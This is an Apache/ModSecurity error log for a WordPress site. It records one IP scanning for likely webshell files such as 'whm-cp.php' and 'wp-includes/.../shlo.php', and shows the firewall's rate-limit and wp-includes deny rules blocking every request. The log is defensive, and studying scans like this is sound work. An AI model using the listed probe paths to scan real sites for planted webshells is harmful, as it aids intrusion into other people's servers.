[Thu Feb 05 22:22:32.810929 2026] [:error] [pid 33122:tid 33128] [client 20.220.62.160:61698] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYSnqPW0IebAnFB9KDBP-QAAAEQ"]
[Thu Feb 05 22:22:33.291592 2026] [:error] [pid 31775:tid 31824] [client 20.220.62.160:61755] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYSnqRNlTj92HTKsJN1GbgAAARM"]
[Thu Feb 05 22:22:33.815614 2026] [:error] [pid 31774:tid 31779] [client 20.220.62.160:61016] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYSnqajDlLg1NOhSOXVMmAAAAIE"]
[Thu Feb 05 22:22:34.510076 2026] [:error] [pid 33122:tid 33148] [client 20.220.62.160:61752] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYSnqvW0IebAnFB9KDBP-wAAAFg"]
[Thu Feb 05 22:22:35.018081 2026] [:error] [pid 31833:tid 31846] [client 20.220.62.160:61705] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYSnqxzypZt5yekRAkFxlgAAAYs"]
[Thu Feb 05 22:22:35.546936 2026] [:error] [pid 33122:tid 33143] [client 20.220.62.160:61055] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYSnq_W0IebAnFB9KDBP_gAAAFM"]
[Thu Feb 05 22:22:36.346981 2026] [:error] [pid 19246:tid 19263] [client 20.220.62.160:61758] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYSnrHE1Gc0V44f4mCd_rwAAAgw"]
[Thu Feb 05 22:22:36.856410 2026] [:error] [pid 14577:tid 14580] [client 20.220.62.160:61013] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYSnrJZbKwRdMc_HlgKmMgAAAUE"]
[Thu Feb 05 22:22:37.432819 2026] [:error] [pid 33122:tid 33144] [client 20.220.62.160:61820] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYSnrfW0IebAnFB9KDBQAwAAAFQ"]
[Thu Feb 05 22:22:37.948673 2026] [:error] [pid 31775:tid 31828] [client 20.220.62.160:61004] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYSnrRNlTj92HTKsJN1GcAAAARc"]
[Thu Feb 05 22:22:38.518400 2026] [:error] [pid 33396:tid 33415] [client 20.220.62.160:60997] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYSnrvTgp_Ev6LiSSgDjtwAAAMw"]
[Thu Feb 05 22:22:38.986492 2026] [:error] [pid 33122:tid 33125] [client 20.220.62.160:61808] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYSnrvW0IebAnFB9KDBQBQAAAEE"]
[Thu Feb 05 22:22:39.540954 2026] [:error] [pid 31775:tid 31826] [client 20.220.62.160:61732] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYSnrxNlTj92HTKsJN1GcgAAARU"]
[Thu Feb 05 22:22:40.857892 2026] [:error] [pid 31775:tid 31806] [client 20.220.62.160:61706] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYSnsBNlTj92HTKsJN1GdQAAAQE"]
[Thu Feb 05 22:22:42.994693 2026] [:error] [pid 14577:tid 14585] [client 20.220.62.160:61719] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYSnspZbKwRdMc_HlgKmQAAAAUY"]
[Thu Feb 05 22:22:43.952229 2026] [:error] [pid 33122:tid 33137] [client 20.220.62.160:61001] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYSns_W0IebAnFB9KDBQCQAAAE0"]
[Thu Feb 05 22:22:44.968833 2026] [:error] [pid 19246:tid 19253] [client 20.220.62.160:61781] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYSntHE1Gc0V44f4mCd_vwAAAgI"]
[Thu Feb 05 22:22:54.376457 2026] [:error] [pid 31739:tid 31743] [client 20.220.62.160:61763] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYSnvgGrHl_5BvMstJLvVwAAAAI"]
[Thu Feb 05 22:22:55.896678 2026] [:error] [pid 33122:tid 33126] [client 20.220.62.160:60941] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYSnv_W0IebAnFB9KDBQFgAAAEI"]
[Thu Feb 05 22:23:02.882386 2026] [:error] [pid 31774:tid 31791] [client 20.220.62.160:61811] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYSnxqjDlLg1NOhSOXVMqgAAAI0"]
[Thu Feb 05 22:23:04.058135 2026] [:error] [pid 19213:tid 19222] [client 20.220.62.160:61025] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYSnyF7WBXhXgHKWAIB5ygAAAcQ"]
[Thu Feb 05 22:23:04.788726 2026] [:error] [pid 31774:tid 31778] [client 20.220.62.160:57978] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYSnyKjDlLg1NOhSOXVMrAAAAIA"]
[Thu Feb 05 22:23:05.502032 2026] [:error] [pid 31833:tid 31850] [client 20.220.62.160:61012] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYSnyRzypZt5yekRAkFxpwAAAY8"]
[Thu Feb 05 22:23:06.358047 2026] [:error] [pid 33122:tid 33137] [client 20.220.62.160:61701] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYSnyvW0IebAnFB9KDBQKgAAAE0"]
[Thu Feb 05 22:23:07.190069 2026] [:error] [pid 19246:tid 19266] [client 20.220.62.160:61028] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYSny3E1Gc0V44f4mCd_4gAAAg8"]
[Thu Feb 05 22:23:07.888190 2026] [:error] [pid 19213:tid 19234] [client 20.220.62.160:61757] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYSny17WBXhXgHKWAIB5zwAAAdA"]
[Thu Feb 05 22:23:08.467247 2026] [:error] [pid 19213:tid 19233] [client 20.220.62.160:61723] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYSnzF7WBXhXgHKWAIB50AAAAc8"]
[Thu Feb 05 22:23:08.985887 2026] [:error] [pid 31774:tid 31781] [client 20.220.62.160:61819] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYSnzKjDlLg1NOhSOXVMrwAAAIM"]
[Thu Feb 05 22:23:09.442061 2026] [:error] [pid 33122:tid 33138] [client 20.220.62.160:61731] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYSnzfW0IebAnFB9KDBQMQAAAE4"]
[Thu Feb 05 22:23:09.919465 2026] [:error] [pid 19213:tid 19242] [client 20.220.62.160:60940] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYSnzV7WBXhXgHKWAIB51AAAAdg"]
[Thu Feb 05 22:23:10.385745 2026] [:error] [pid 33396:tid 33408] [client 20.220.62.160:61782] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYSnzvTgp_Ev6LiSSgDjwAAAAMU"]
[Thu Feb 05 22:23:10.852197 2026] [:error] [pid 31774:tid 31802] [client 20.220.62.160:61032] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYSnzqjDlLg1NOhSOXVMsgAAAJg"]
[Thu Feb 05 22:23:11.833155 2026] [:error] [pid 31775:tid 31812] [client 20.220.62.160:61747] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYSnzxNlTj92HTKsJN1GmwAAAQc"]
[Thu Feb 05 22:23:13.110343 2026] [:error] [pid 31833:tid 31854] [client 20.220.62.160:61821] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYSn0RzypZt5yekRAkFxsQAAAZM"]
[Thu Feb 05 22:23:13.734451 2026] [:error] [pid 19213:tid 19237] [client 20.220.62.160:61735] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYSn0V7WBXhXgHKWAIB51gAAAdM"]
[Thu Feb 05 22:23:14.851593 2026] [:error] [pid 33122:tid 33142] [client 20.220.62.160:61014] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYSn0vW0IebAnFB9KDBQOgAAAFI"]
[Thu Feb 05 22:23:15.764185 2026] [:error] [pid 31833:tid 31846] [client 20.220.62.160:61696] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYSn0xzypZt5yekRAkFxtAAAAYs"]
[Thu Feb 05 22:23:16.762978 2026] [:error] [pid 31774:tid 31779] [client 20.220.62.160:61742] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYSn1KjDlLg1NOhSOXVMtAAAAIE"]
[Thu Feb 05 22:23:17.571142 2026] [:error] [pid 31774:tid 31785] [client 20.220.62.160:61759] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/za2.php"] [unique_id "aYSn1ajDlLg1NOhSOXVMtgAAAIc"]
[Thu Feb 05 22:23:18.311418 2026] [:error] [pid 31775:tid 31821] [client 20.220.62.160:61721] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aYSn1hNlTj92HTKsJN1GngAAARA"]
[Thu Feb 05 22:23:19.553244 2026] [:error] [pid 19246:tid 19262] [client 20.220.62.160:61711] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aYSn13E1Gc0V44f4mCeABAAAAgs"]
[Thu Feb 05 22:23:44.602107 2026] [:error] [pid 31775:tid 31828] [client 20.220.62.160:61725] [client 20.220.62.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aYSn8BNlTj92HTKsJN1GuAAAARc"]
[Thu Feb 05 22:23:45.279240 2026] [autoindex:error] [pid 31775:tid 31809] [client 20.220.62.160:61738] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 05 22:23:45.502375 2026] [:error] [pid 31775:tid 31819] [client 20.220.62.160:61738] [client 20.220.62.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/library/shlo.php"] [unique_id "aYSn8RNlTj92HTKsJN1GugAAAQ4"]
[Thu Feb 05 22:24:16.671652 2026] [:error] [pid 31739:tid 31742] [client 20.220.62.160:61024] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYSoEAGrHl_5BvMstJLvlQAAAAE"]
[Thu Feb 05 22:24:17.222936 2026] [:error] [pid 33122:tid 33130] [client 20.220.62.160:61000] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYSoEfW0IebAnFB9KDBQhQAAAEY"]
[Thu Feb 05 22:24:17.770914 2026] [:error] [pid 33396:tid 33404] [client 20.220.62.160:61792] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYSoEfTgp_Ev6LiSSgDj5wAAAME"]
[Thu Feb 05 22:24:18.534568 2026] [:error] [pid 31739:tid 31748] [client 20.220.62.160:61754] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puibr.php"] [unique_id "aYSoEgGrHl_5BvMstJLvlgAAAAc"]
[Thu Feb 05 22:24:19.069655 2026] [:error] [pid 33122:tid 33132] [client 20.220.62.160:57925] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYSoE_W0IebAnFB9KDBQigAAAEg"]
[Thu Feb 05 22:24:19.858682 2026] [:error] [pid 31739:tid 31755] [client 20.220.62.160:61722] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYSoEwGrHl_5BvMstJLvlwAAAA4"]
[Thu Feb 05 22:24:20.573312 2026] [:error] [pid 19213:tid 19241] [client 20.220.62.160:61775] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYSoFF7WBXhXgHKWAIB6CQAAAdc"]
[Thu Feb 05 22:24:21.348166 2026] [:error] [pid 19246:tid 19256] [client 20.220.62.160:61765] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/past1.php"] [unique_id "aYSoFXE1Gc0V44f4mCeAagAAAgU"]
[Thu Feb 05 22:24:22.024471 2026] [:error] [pid 14577:tid 14579] [client 20.220.62.160:61054] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYSoFpZbKwRdMc_HlgKmlwAAAUA"]
[Thu Feb 05 22:24:22.709226 2026] [:error] [pid 19246:tid 19274] [client 20.220.62.160:61703] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYSoFnE1Gc0V44f4mCeAbAAAAhc"]
[Thu Feb 05 22:24:23.515915 2026] [:error] [pid 31774:tid 31790] [client 20.220.62.160:61786] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYSoF6jDlLg1NOhSOXVM8QAAAIw"]
[Thu Feb 05 22:24:24.408407 2026] [:error] [pid 31774:tid 31786] [client 20.220.62.160:60929] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/smp.php"] [unique_id "aYSoGKjDlLg1NOhSOXVM8wAAAIg"]
